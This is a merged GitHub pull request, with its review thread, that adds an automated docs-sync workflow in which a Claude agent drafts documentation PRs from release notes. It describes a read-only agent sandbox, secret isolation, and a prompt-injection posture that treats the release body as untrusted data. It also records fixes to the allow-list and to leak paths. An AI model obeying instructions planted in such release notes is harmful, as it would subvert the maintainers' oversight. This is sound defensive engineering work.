Skip to content

feat(docs-sync): gh-aw hub, agent knowledge base and release notes (IP-2864, IP-2863, IP-2866) - #18

Merged
DemidovVladimir merged 4 commits into
mainfrom
feature/ip-2745-docs-sync
Aug 18, 2026
Merged

feat(docs-sync): gh-aw hub, agent knowledge base and release notes (IP-2864, IP-2863, IP-2866)#18
DemidovVladimir merged 4 commits into
mainfrom
feature/ip-2745-docs-sync

Conversation

@DemidovVladimir

@DemidovVladimir DemidovVladimir commented Aug 10, 2026

Copy link
Copy Markdown
Contributor

⚠️ This is the first CI in this repository

moleculeprotocol/docs has had no .github/ directory until now. This PR adds one, along with two
new Actions secrets and a variable. The security review that gh aw's safe-update mode requires is
in Security review below — please read it before approving.

The docs-repo half of the docs-sync pipeline from the
IP-2745 spike. Implements DOCS-4
(IP-2864), DOCS-3
(IP-2863) and DOCS-6
(IP-2866).

The spoke half lives in moleculeprotocol/desci-infra#675.

What lands

File Ticket What it is
.github/workflows/docs-sync.md + .lock.yml DOCS-4 The gh-aw hub workflow and its compiled output. Both are reviewed; the lock is what actually runs.
.github/prompts/docs-sync.md DOCS-3 The agent knowledge base — page↔source map, style, guardrails, PR-body contract.
release-notes/** + SUMMARY.md DOCS-6 Consumer-facing per-version release notes, wired into the nav.
.github/aw/actions-lock.json, .gitattributes Generated by gh aw compile. Pins every action to a SHA.

This is inert on merge. Nothing runs until the credentials in
IP-2861 exist. Until then a dispatch is accepted with
204 and does nothing.

gh-aw pin: v0.86.2

Pinned and documented in the workflow header (with the reason — an IP-2864 acceptance criterion).
History: v0.85.4 was chosen 2026-08-07 to stay clear of the 0.68.4–0.71.3 billing bug; bumped to
v0.86.2 on 2026-08-14 for the Claude-harness retry fix
(github/gh-aw#51793 — at v0.85.4 a permission_denied
on a compound bash command could burn the whole retry budget, and this workflow's
engine: claude + strict bash allow-list is exactly that scenario) and for enforced secret
redaction in step summaries and patch artifacts (#50777/#50778). The bump is behaviour-neutral for
the write strategy
: safe-output schemas and the close_older_pull_requests handler are unchanged
between the two versions.

How it works

desci-infra fires a repository_dispatch (docs-sync) on each production release. The hub then:

  1. Gates on relevance in pre_activation, before the agent job exists. One compare API call, no
    clone. A release touching no documented surface stops here at zero AI credits — which is most
    releases. The gate is a deliberate triggering subset of the knowledge-base map; ride-along
    surfaces (deprecated IPNFT lambdas, secondary lib/ stacks) update only when a triggering path
    changed in the same release.
  2. Mints a read-only App token and checks desci-infra out at the released SHA into ./source.
  3. Fetches the release body into ./source/RELEASE_NOTES.md with the same read-only App
    (pre-agent-steps, on the runner, outside the agent container). The dispatch payload no longer
    carries the notes: it lands in a public repo's workflow run, and source release bodies now carry
    real content naming private infrastructure (desci-infra 2.0.0, 2026-08-12). The Releases API is
    covered by contents: read, so the App's permission set is unchanged.
  4. Runs the agent against the knowledge base, read-only.
  5. Opens a draft PR against this repo via gh-aw's sanitised safe-output job.

The proposal suggested skip-if-match for the gate. That does not work: skip-if-match evaluates
GitHub search queries, not changed paths, so it cannot express "did this release touch
graphql/schemas/**". Hence the custom pre-step.

Security review

Required by gh aw compile's safe-update mode, which flagged two new restricted secrets.

New secrets

  • ANTHROPIC_API_KEY — the engine key. The same org key desci-infra, desci-ecosystem and
    Labs already use for claude-review.yml and claude-release-notes.yml. gh-aw's Claude engine
    requires an API key as an Actions secret; provider OAuth is unsupported.
  • DOCS_SYNC_APP_KEY (+ variable DOCS_SYNC_APP_CLIENT_ID) — private key of a GitHub App holding
    contents: read on desci-infra and nothing else. It mints a ~1h token scoped per run to a
    single repo. It cannot write anywhere, and it is not installed on this repo.

Neither grants write access to any source repository. The only cross-repo write credential in
the whole design is the dispatch credential, and it lives in desci-infra and points at this
repo
— which is the property the hub-and-spoke shape exists to preserve.

Verified in the generated .lock.yml after the v0.86.2 recompile, not assumed:

  • The agent job has permissions: {contents: read}. Every write happens in the separate
    safe_outputs / conclusion jobs. gh-aw's strict mode rejects a write permission on the agent job
    at compile time.
  • Both secrets are excluded from the agent container (--exclude-env) and registered for log
    redaction. The release-body fetch runs on the runner, outside the container — its token never
    enters the agent's environment.
  • Network egress is deny-by-default against gh-aw's defaults allow-list.
  • Every action is pinned by SHA by the compiler (actions/checkout@3d3c42e… v7.0.1,
    actions/create-github-app-token@bcd2ba4… v3.2.0, gh-aw-actions/setup@6aab9e5… v0.86.2).

Prompt-injection posture. The release body originates in a pull-request description and is
untrusted. The knowledge base instructs the agent to treat ./source/RELEASE_NOTES.md as data to
summarise, never as instructions, and to report anything that looks like directions addressed to it.
Structurally the agent is read-only and cannot push — it can only emit a PR through the sanitised
safe-output job.

DOCS-2: the write strategy, and why it isn't a rolling PR

IP-2745 wanted the agent to append to one long-lived sync PR. Verified against the shipped handler
source at v0.85.4 (and re-checked at v0.86.2):

  • create-pull-request has one pulls.create call and zero pulls.update/pulls.list calls,
    and no branch: key. It can never update an existing PR.
  • push-to-pull-request-branch cannot bootstrap a PR, and under repository_dispatch its default
    target: "triggering" hard-fails. A rolling PR is technically constructible via
    target: "*" (the agent supplies the PR number itself) — the decision record explains why we
    rejected that shape: more prompt surface, PR-list access for the agent, and a wider push blast
    radius than "create a fresh draft".
  • update-pull-request cannot create.

So: new PR per run + close-older-pull-requests: true, which delivers the property actually
wanted — at most one open docs PR at a time — with no force-push or lost-review-history hazards.
Quick-succession dispatches serialize under the compiled workflow's concurrency group, so two runs
never race. Full rationale in desci-infra/docs/docs-sync-write-strategy.md.

The trade-off, stated plainly: an unreviewed docs PR is closed, not merged, when the next
release lands. The relevance gate keeps the real rate well below the release rate, and closed
branches are not deleted, so nothing is unrecoverable.

Pilot expiry is built in

stop-after: +14d is baked to an absolute 2026-08-31 19:56:53 UTC (refreshed 2026-08-17 while
applying the review findings), after which the trigger auto-disables. A plain recompile preserves the baked time —
it can only be extended deliberately, via gh aw compile --refresh-stop-time.

⚠️ If this PR has not merged by 2026-08-31, refresh the stop time before merging or the pilot
arrives already expired.

Release notes (DOCS-6)

New release-notes/ section, one page per API area, newest-first. It complements
api-reference/changelog.md rather than duplicating it: this section answers "what shipped in
1.0.14", that page answers "how do I migrate off ipnftUid". Cross-linked both ways.

The section ships unseeded, on purpose (commit aecc762): the entry-format template in
release-notes/README.md is the whole specification, and a hand-written worked example was the only
content in this PR asserting facts to external integrators. The first real entry comes from a pilot
run, which also exercises the pipeline properly. (Linear note: IP-2866's "seeded with real past
releases" AC should be amended to record this deviation.)

Known debt tracked separately: 43 stale isSuccess references across 9 reference pages from the
1.0.14 error-contract cutover.

Verification

gh aw compile (v0.86.2), gh aw validate --strict and gh aw lint all exit clean, and a
recompile produces zero drift against the committed lock. All SUMMARY.md and inter-page links
resolve.

Not verifiable until DOCS-1 lands: an end-to-end run. gh aw trial cannot help — it requires
workflow_dispatch, which this workflow does not have — so the first real exercise is the runbook's
manual dispatch test.

Two things to know before merging

  1. repository_dispatch only triggers workflows on the default branch. This must be on main
    before any dispatch does anything; it cannot be tested from this branch.
  2. The bots: allow-list must match the App slug exactly. repository_dispatch is not a gh-aw
    "safe event", so the pre-activation membership check runs against github.actor. If
    molecule-docs-sync[bot] does not match the App created in DOCS-1, every run is rejected
    silently
    . Confirm the literal actor string from the first run's pre_activation log.

🤖 Generated with Claude Code

DemidovVladimir and others added 3 commits August 10, 2026 10:18
…P-2864, IP-2863, IP-2866)

The docs-repo half of the docs-sync pipeline from the IP-2745 spike. Inert until
the credentials in IP-2861 exist and this lands on the default branch.

DOCS-4 (IP-2864) — .github/workflows/docs-sync.md + compiled docs-sync.lock.yml
  Triggered by repository_dispatch (docs-sync) from desci-infra on release.
  Pinned to gh-aw v0.85.4, outside the 0.68.4-0.71.3 billing bug.
  The agent job is contents:read; every write happens in the separate sanitized
  safe-outputs job. Verified in the generated lock.
  A deterministic relevance gate runs in pre_activation, before the agent job
  exists, so a release touching no documented surface costs zero AI credits.
  It uses one compare API call, not a clone. skip-if-match cannot do this - it
  evaluates GitHub search queries, not changed paths.
  stop-after +14d bakes the DOCS-7 pilot expiry to an absolute timestamp.

DOCS-3 (IP-2863) — .github/prompts/docs-sync.md
  Page-to-source map, house style, guardrails and the PR body contract. Points
  the agent at hand-authored sources and away from graphql/autogen and
  prisma/generated, which are build artefacts.

DOCS-6 (IP-2866) — release-notes/ + SUMMARY.md
  Consumer-facing per-version notes, complementing the thematic
  api-reference/changelog.md. Seeded from release 1.0.14, whose isSuccess
  removal is verifiable in PR #652 of desci-infra.

DOCS-2 (IP-2862) is materialized here as close-older-pull-requests: true. A
rolling sync PR is not achievable - create-pull-request calls pulls.create
unconditionally and can never update an existing PR. Rationale and the
alternatives are recorded in desci-infra/docs/docs-sync-write-strategy.md.

Security review of new restricted secrets, per gh-aw safe update mode:
  ANTHROPIC_API_KEY - engine key, same org key the other repos already use.
  DOCS_SYNC_APP_KEY - private key of a GitHub App holding contents:read on
  desci-infra and nothing else. Neither grants write on any source repo. The
  compiled lock excludes both from the agent container and redacts them in logs.

Verified: gh aw compile, gh aw validate --strict, gh aw lint all clean.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Drops the hand-written 1.0.14 entry. The entry-format template in
release-notes/README.md is the whole specification; a worked example was a
marginal gain and it was the only content in this PR asserting facts to
external integrators on a public site. The first real entry now comes from a
pilot run, which also exercises the pipeline properly.

Removes the same assumption from the agent knowledge base, which told the agent
to imitate examples that no longer exist.

Note the 1.0.14 breaking change this entry described is real and still
undocumented: 43 references to the removed isSuccess field remain across 9
reference pages. Tracked separately - it needs the reference pages corrected,
not a release-notes entry.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…e, close IP-2864 AC gaps

- Re-pin v0.85.4 -> v0.86.2 and record the pin + its reason in the workflow
  header (IP-2864 AC). v0.86.2 carries the Claude-harness retry fix
  (github/gh-aw#51793) whose trigger scenario is exactly this workflow's
  engine + strict bash allow-list, plus enforced secret redaction in step
  summaries and patch artifacts (#50777/#50778). Verified behaviour-neutral
  for the DOCS-2 write strategy: safe-output schemas and the
  close_older_pull_requests handler are unchanged between the two versions.

- Release notes now travel hub-side, not in the dispatch payload: a
  pre-agent step mints a token from the read-only source App (Releases API
  is covered by contents: read - no permission change) and writes the body
  to ./source/RELEASE_NOTES.md. The payload lands in a public repo's
  workflow run, and source release bodies now carry real content naming
  private infrastructure (desci-infra 2.0.0, 2026-08-12). Contract change
  lands in desci-infra#675 in the same breath.

- Add the claude-code-action fallback note (IP-2864 AC), flag it as
  unvalidated for repository_dispatch.

- Relevance gate: add docs/service-auth.md (mapped for authentication and
  roles pages, previously unreachable); document that the gate is a
  deliberate triggering subset of the map, with the ride-along rows named
  in the knowledge base.

- Knowledge base: account for the previously unmapped pages
  (technical-deep-dive/onchain-lab.md, module-registry/**, data/README.md,
  and the orphan api-reference/IPNFT-api.md) in the out-of-scope list.

- stop-after refreshed at compile: expiry is now 2026-08-28 10:16:52. If
  this PR has not merged by then, run `gh aw compile --refresh-stop-time`
  again before merging or the pilot arrives expired.

Recompiled with gh-aw v0.86.2; `gh aw validate --strict` and `gh aw lint`
both clean; agent job verified still contents: read only, bots allow-list
and max-ai-credits unchanged in the regenerated lock.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@0xmme 0xmme left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review of this PR in conjunction with moleculeprotocol/desci-infra#675 (the spoke half). 12 inline findings here, 3 more on the spoke PR.

The headline: the pipeline cannot work as compiled. The bash: allow-list entries lack :*, so they compile to exact-match permission rules and every argument-bearing command is denied — and even once that is fixed, git -C source diff (what both prompt files instruct) matches no derivable prefix rule, and there is no permitted path to run git against the ./source checkout at all. Those two need fixing together.

Two findings are cases where a rule these docs themselves state is not upheld by the code in the same PR: the release-notes exposure (the field was dropped from client_payload, but the same body is fetched into a public repo's run and uploaded as a public artifact + step summary) and the client_payload-into-with: interpolation (against the contract's own line 443). Worth fixing the code rather than softening the docs.

The three new docs/*.md design records on the spoke PR are genuinely good — this review leaned on them heavily, which is how several of these were found.

Comment thread .github/workflows/docs-sync.md Outdated

tools:
edit:
bash: ["git diff", "git log", "git show", "git status", "ls", "cat", "rg"]

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The compiled allow-list denies every command the agent actually needs.

These entries are written without :*, so they compile to exact-match Claude permission rules:

--allowed-tools '...,Bash(git diff),Bash(git log),Bash(git show),Bash(git status),Bash(cat),Bash(ls),Bash(rg),...'

(docs-sync.lock.yml:964)

In Claude Code Bash(git diff) matches only the literal string git diff. Argument-bearing commands need Bash(git diff:*) — which is exactly the form gh-aw itself emits for its own entries on the same line (Bash(git add:*), Bash(git commit:*)).

So on a real run the agent's first action, git diff <base_sha> <sha>, returns permission_denied, as does cat <path>, ls <dir>, rg <pattern>. The run burns credits, produces no diff, and either opens a PR with no evidence behind it or none at all.

Worth noting: the v0.86.2 pin comment at lines 40-46 describes the retry-budget bug triggered by exactly this permission_denied shape. The pin was bumped to survive the symptom rather than the cause being fixed.

Fix: add :* to each of the seven entries — and see the related comment on line 225, because that alone is not sufficient.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in fc55a75: all seven entries now carry :*, and git -C:* is added per the companion finding on line 225. Verified in the recompiled lock — the agent's --allowed-tools now reads Bash(cat:*),…,Bash(git -C:*),Bash(git diff:*),Bash(git log:*),Bash(git show:*),Bash(git status:*),Bash(ls:*),Bash(rg:*).


Then:

1. Diff the release: `git -C source diff <BASE_SHA> <SRC_SHA>`.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

git -C source diff can never match a prefix rule derived from "git diff".

Both this line and the knowledge base (.github/prompts/docs-sync.md:23,36) instruct the agent to use git -C source diff. Claude's Bash matcher is a literal prefix match: git -C source diff ... does not start with git diff, so it is denied even after the :* fix on line 188.

The obvious alternative is also closed off:

  • cd source && git diff ...cd is not in the allow-list, and the compound form is rejected anyway.
  • a bare git diff — Claude's cwd is $GITHUB_WORKSPACE, i.e. the docs repo, so this diffs the wrong repository.

There is currently no permitted way to run git against the ./source checkout at all, which is the pipeline's primary signal.

Fix: add git -C:* (or equivalent) to the allow-list, and make this line and the two prompt-file references agree with whatever form is permitted.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in fc55a75: git -C:* added to the allow-list, and the tools list, the workflow body and the knowledge base now all agree on the git -C source … form (a comment in tools.bash pins that agreement for future edits).

# missing release or failed mint leaves an empty file, which the prompt already
# treats as normal. These steps run on the runner, outside the agent container,
# so the token never enters the agent's environment.
pre-agent-steps:

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Dropping release_notes from the payload does not achieve the stated security property.

docs-sync-dispatch-contract.md:398-415 justifies the removal because client_payload "lands in a workflow run of a public repository, and release bodies now carry real content that names private infrastructure" (release 2.0.0: 9,381 chars naming Aurora subnet moves, operator scripts, CloudFormation logical ids, incident dates), and concludes that "the notes stay inside the run's workspace and never appear in the public payload."

But pre-agent-steps fetches that same body into ./source/RELEASE_NOTES.md in this public repo, the agent reads it, and then:

  • docs-sync.lock.yml:1108-1123 uploads /tmp/gh-aw/agent-stdio.log and /tmp/gh-aw/agent_output.json as artifact agent — publicly downloadable on a public repo;
  • parse_claude_log.cjs renders the transcript into the run's step summary — publicly readable.

The v0.86.2 redaction fix cited at line 45 redacts secrets.* values, not private-infrastructure prose. The only thing left standing between the DEPLOYMENT CHECKLIST section and a public URL is the prompt text at .github/prompts/docs-sync.md:185 ("Internal — never publish, never quote") plus the agent's own PR body, which is also public.

In other words: the structural control was applied to the payload and replaced with a prompt-level control everywhere else. If the private-infrastructure exposure is the real concern, this needs a structural answer too — strip the checklist section before the agent sees it, or disable the transcript artifact/step-summary upload on this workflow.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed structurally in fc55a75: the fetch step now strips the internal sections (DEPLOYMENT CHECKLIST, STATISTICS, TESTING, DEPENDENCIES, per desci-infra/.github/prompts/release-notes.md) before the agent ever sees the file, so they can never enter the transcript, the public agent artifact, or the step summary. The raw body only touches RUNNER_TEMP — which, unlike /tmp, is not mounted into the agent container — and is deleted immediately after. The knowledge base's never-publish rule stays as defence in depth, now with an added instruction to treat a surviving internal section as a stripping regression and report it. The contract doc on the spoke PR (desci-infra#675, 6eb3fdf5) records the design.

Comment thread .github/workflows/docs-sync.md Outdated
-e '^graphql/schemas/' \
-e '^prisma/schema\.prisma$' \
-e '^docs/service-auth\.md$' \
-e '^lambda/(appsync-resolver-labs-lambda|appsync-resolver-evm-tokenization|appsync-resolver-lit-service|desci-hubs-auth-lambda|x402-gateway-lambda|kamu-client-lambda|did-linking-worker|labnft-metadata-lambda|ocl-processor)/' \

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Two of the nine lambda directories in this alternation do not exist in desci-infra.

find/rg over desci-infra@HEAD returns nothing for:

  • lambda/appsync-resolver-lit-service/
  • lambda/desci-hubs-auth-lambda/

and the knowledge-base map cites a third that also does not exist, lambda/appsync-resolver-ipnft-minting/ (.github/prompts/docs-sync.md:55,58,63).

The real directories are lambda/appsync-authorizer-lambda/, lambda/desci-api-lambda/, lambda/desci-ipnfts-processor/, lambda/ipnft-events-lambda/.

Consequence: a release that changes the AppSync authorizer or the Lit/encryption resolver matches no gate pattern, the gate exits 1, and no run happens. api-reference/authentication.md, api-reference/labs-api/service-tokens.md and technical-deep-dive/data/data-privacy-and-access.md can then only ever update as ride-alongs of an unrelated schema change, and the map rows pointing at them are permanently dead.

The failure is invisible — it looks exactly like "release touched no documented surface".

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in fc55a75, with the real locations verified against the desci-infra code: auth is lambda/appsync-authorizer-lambda/, the service-token resolvers live in lambda/appsync-resolver-labs-lambda/services/token-manager-service.ts, encryption is lambda/common/services/kms-service.ts (KMS envelope — no Lit service exists anywhere in the repo), and the legacy IPNFT resolvers are lambda/desci-api-lambda/. Both the gate alternation and the knowledge-base map rows (authentication, files, service-tokens, ipnft-deprecated, data-privacy-and-access, and the ride-along note) now point at directories that exist.

Comment thread .github/workflows/docs-sync.md Outdated
-e '^docs/service-auth\.md$' \
-e '^lambda/(appsync-resolver-labs-lambda|appsync-resolver-evm-tokenization|appsync-resolver-lit-service|desci-hubs-auth-lambda|x402-gateway-lambda|kamu-client-lambda|did-linking-worker|labnft-metadata-lambda|ocl-processor)/' \
-e '^lib/(shared-api-stack|evm-tokenization-service-stack|encryption-stack)\.ts$' \
| grep -v -e '^graphql/autogen/' -e '^prisma/generated/' || true)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This exclusion is dead code, and it misses the one generated file that is actually in scope.

The include set is ^graphql/schemas/, ^prisma/schema\.prisma$, ^docs/service-auth\.md$, the lambda alternation, and the three lib/*.ts files. No string can match ^graphql/schemas/ and ^graphql/autogen/ simultaneously, and ^prisma/schema\.prisma$ excludes prisma/generated/ by construction — so grep -v -e '^graphql/autogen/' -e '^prisma/generated/' provably never removes a line.

Meanwhile graphql/schemas/merged-schema.graphql is a committed build artifact — the knowledge base says so itself (.github/prompts/docs-sync.md:125: "assembled at build time from the other schema files") — and it matches ^graphql/schemas/. Any release where codegen regenerated the merged schema without a hand-authored schema change starts a full agent run against max-ai-credits: 600, which is precisely what the gate comment ("must never trigger a docs run") claims to prevent.

Fix: target merged-schema.graphql here; the two patterns it currently carries can be deleted.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in fc55a75: the two provably-dead patterns are gone, replaced by the exclusion that matters — ^graphql/schemas/merged-schema\.graphql$ — with a comment explaining why (committed build output inside an include path; a codegen-only refresh must not buy an agent run).

- path: .
current: true
- repository: moleculeprotocol/desci-infra
ref: ${{ github.event.client_payload.sha }}

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

client_payload fields are interpolated into action with: inputs, against this PR's own rule.

docs-sync-dispatch-contract.md:443-444, authored in the same PR, states: "Bind every client_payload field via env: and write it to a file. Never interpolate one into a run: block, a prompt template, or an action's with:."

Three places do exactly that: this ref:, and repositories: at lines 53 and 170 — propagated by the compiler to docs-sync.lock.yml:475, 1707, 1863. The run: blocks correctly use env:, so the discipline was applied unevenly.

Practical exposure is bounded (sending a dispatch requires contents: write on this repo), but the rule was written down as an invariant in this PR and broken in this PR, which means the next reviewer cannot rely on it. Either bind these through env: too, or amend the contract to state the with: exception and why it is safe.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in fc55a75 + the spoke PR (desci-infra#675, 6eb3fdf5), taking both halves of your proposed fix: the two repositories: sites are now literals, so the only remaining client_payload in a with: is the checkout ref: — which has no env: alternative — and the contract now states that exception explicitly and why it is bounded (structured data to an API call, never shell text; reaching it requires contents: write on desci-infra; the gate rejects any non-pinned source repo). The invariant a reviewer can rely on is restored, just with its edge documented.

# Pilot expiry (IP-2867). Baked to an absolute UTC timestamp at FIRST compile and
# then preserved; editing this value alone does nothing. To extend deliberately:
# gh aw compile --refresh-stop-time
stop-after: "+14d"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The pilot expires 2026-08-28 10:16:52, before the rollout it depends on can plausibly land.

docs-sync.lock.yml:1 records "stop_time":"2026-08-28 10:16:52" and line 1692 bakes it into GH_AW_STOP_TIME. pre_activation.outputs.activated (line 1655) requires stop_time_ok == 'true', and both activation and agent gate on it — so past that instant the run completes green with nothing done and no notice distinguishable from the ordinary skip.

Meanwhile IP-2861 has not landed. The runbook (docs-sync-credentials-runbook.md:174-177, 343-350) requires an org admin to register two GitHub Apps, add three secrets/vars across two repos, merge this hub to main of the public repo first, then merge the spoke to dev. Four steps, two repos, one named-owner requirement — if any of it slips past 2026-08-28 the pilot never fires once, and the failure is silent on both sides (spoke: ::warning; hub: green no-op).

Fix: re-anchor the expiry to the pilot start rather than the compile date, via gh aw compile --refresh-stop-time once the credentials are provisioned. (The PR body already flags this — worth treating as a blocking checklist item rather than a note.)

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Refreshed in fc55a75 via gh aw compile --refresh-stop-time: the baked expiry is now 2026-08-31 19:56:53 UTC, and the PR body's merge-by warning is updated to match. Agreed it stays a blocking checklist item — if DOCS-1 provisioning slips past that date, the stop time needs one more refresh at merge time.

Comment thread .github/workflows/docs-sync.md Outdated
# beyond the three named) that get documentation updates only when a
# triggering path changed in the same release. Broaden here
# deliberately — every addition buys agent runs.
CHANGED=$(gh api --paginate \

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The compare API caps files at 300 entries, so a large release can silently skip documentation.

--paginate does not help here: the compare endpoint returns at most 300 files regardless, and pagination walks commits, not files.

A release like 2.0.0 (Aurora subnet moves, operator scripts, migrations, plus generated artifacts) can easily exceed 300 changed files. Whichever doc-relevant paths fall outside the truncated window are invisible, COUNT can reach 0, and the gate emits ::notice::Release touched no documented surface for a release that did change the GraphQL schema.

The bigger the breaking release, the more likely it is skipped — the inverse of what the gate is for.

Fix: page the commit list and union per-commit files, or fall back to a full-diff path when .files | length == 300.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in fc55a75: the compare response is captured to a file, and when .files | length >= 300 (the documented cap) the gate falls back to unioning per-commit file lists — --paginate over the compare's commits[], then --paginate over each commit's files[] (the commit endpoint does paginate files), sort -u. Any failure in the fallback escalates through the new hard-failure path rather than truncating silently.

Comment thread .github/workflows/docs-sync.md Outdated
client-id: ${{ vars.DOCS_SYNC_APP_CLIENT_ID }}
private-key: ${{ secrets.DOCS_SYNC_APP_KEY }}
owner: moleculeprotocol
repositories: ${{ github.event.client_payload.repo_name }}

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This mint omits permission-contents: read, unlike its sibling in pre-agent-steps.

The pre-agent-steps mint ends with permission-contents: read (line 171); this one has only client-id / private-key / owner / repositories, so it requests the App's full permission set instead of down-scoping.

Today docs-sync-source-read is provisioned with Contents: Read-only and nothing else (docs-sync-credentials-runbook.md:209), so the two are equivalent — by accident. The moment that App is granted anything further (the runbook's own §1 warns "Permission scope is final" precisely because someone will be tempted), this token silently inherits it while the notes token does not. This is also the token exposed to a run: block that interpolates payload-derived values into a URL.

Fix: add permission-contents: read here so the down-scoping is stated, not inherited.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in fc55a75: the gate mint now carries permission-contents: read, and is SHA-pinned to bcd2ba4 # v3.2.0 like its pre-agent-steps sibling (closing the floating-@v3 drift noted in the spoke review). A comment records why the down-scoping is stated rather than inherited.

@@ -0,0 +1,199 @@
# docs-sync — agent knowledge base

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This knowledge base carries every hard guardrail, but is loaded by asking the agent to read a file.

docs-sync.md:150-153 says "Before you do anything else, read .github/prompts/docs-sync.md in this repository", and the compiled prompt (docs-sync.lock.yml:305) contains only {{#runtime-import .github/workflows/docs-sync.md}} — this file is never inlined. Two consequences:

  1. Not guaranteed to be in context. Everything load-bearing lives here: the never-invent rule, the flag-don't-delete rule ("the single worst failure mode here"), the never-publish-DEPLOYMENT-CHECKLIST rule that is the last remaining control on the release-notes exposure, and the never-edit-SUMMARY.md rule that docs-sync-write-strategy.md:579-581 explicitly notes is "kept safe by instruction ... not by configuration". If the agent skips or truncates that Read — plausible once the Bash(cat) denial starts failing its tool calls — it proceeds with none of them.
  2. Outside the lock's hashes. This file is not covered by body_hash/frontmatter_hash, so it can be edited without recompiling and without the lock-file staleness check firing. The guardrails can drift from the workflow that depends on them with no signal.

Fix: load it with gh-aw's {{#import}}, which inlines it and brings it under the hash.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed for point 1, honestly not fixable for point 2 at this gh-aw version — fc55a75:

  1. The knowledge base is now injected via {{#runtime-import .github/prompts/docs-sync.md}}, so it is guaranteed to be in the agent's context on every run; nothing depends on the agent choosing (or managing) to read a file. ({{#import}} is deprecated in v0.86.2 and does not statically inline — the compiler recommends runtime-import for content injection.)
  2. Hash coverage is not achievable: v0.86.2 inlines nothing — even the workflow's own body reaches the prompt via {{#runtime-import}} — and I verified empirically that an edit to the knowledge base changes zero bytes of the lock. The residual risk (KB edits take effect without a recompile) is now documented in an inline comment at the import site, flagging that changes to .github/prompts/docs-sync.md need workflow-grade review. A CI freshness/review guard is the remaining option if we want this mechanical.

…ate failures, structural notes stripping

Review follow-up on #18 (0xmme). The two blockers:

- bash allow-list entries now carry :* so they compile to prefix rules
  instead of exact matches (Bash(git diff) matched only the literal
  string "git diff"), and "git -C:*" is added so `git -C source ...` —
  the pipeline's primary signal — is actually permitted. The tools
  list, the workflow body and the knowledge base all agree on the
  `git -C source` form.

Relevance gate:

- Distinguishes "nothing doc-relevant" (quiet green skip, plain exit 1)
  from "could not diff at all" (hard_failure output + a follow-up step
  with no continue-on-error that fails pre_activation red): bad
  credentials or API errors no longer masquerade as no-op releases.
- Rejects dispatches from any repo other than moleculeprotocol/desci-infra
  up front; both App mints and the checkout are now consistently pinned
  to the literal source repo (the pilot is single-source by design),
  with permission-contents: read stated on both mints and the gate mint
  SHA-pinned like its sibling.
- Falls back to a per-commit file-list union when compare returns 300
  files (the API cap --paginate cannot lift), so the biggest releases
  are no longer the ones most likely to be silently skipped.
- Trigger paths point at directories that exist: appsync-authorizer-lambda
  and lambda/common/services/kms-service.ts replace the nonexistent
  appsync-resolver-lit-service / desci-hubs-auth-lambda; the dead
  autogen/generated exclusion is replaced by the one that matters,
  graphql/schemas/merged-schema.graphql (committed build output).

Release-notes exposure:

- The fetch step strips the internal sections (DEPLOYMENT CHECKLIST,
  STATISTICS, TESTING, DEPENDENCIES) before the agent sees the file,
  because everything the agent reads lands in a publicly downloadable
  transcript artifact and the step summary. The raw body only touches
  RUNNER_TEMP (not mounted into the agent container) and is deleted.
  The knowledge base's never-publish rule stays as defence in depth.

Knowledge base:

- Injected into the prompt via {{#runtime-import}} instead of asking
  the agent to read the file, so the guardrails are guaranteed to be in
  context. v0.86.2 has no static inlining, so the file remains outside
  the lock hashes — documented inline as a review caveat.
- Map rows corrected to real desci-infra paths (token-manager-service,
  appsync-authorizer-lambda, kms-service, desci-api-lambda as the
  legacy IPNFT resolver).

Recompiled with gh aw v0.86.2 --refresh-stop-time: pilot expiry moved
from 2026-08-28 10:16:52 to 2026-08-31 19:56:53 UTC. compile --validate
--strict and lint are clean; recompile produces zero drift.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@0xmme 0xmme left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@DemidovVladimir
DemidovVladimir merged commit 17aa9e7 into main Aug 18, 2026
2 checks passed
@DemidovVladimir
DemidovVladimir deleted the feature/ip-2745-docs-sync branch August 18, 2026 12:27
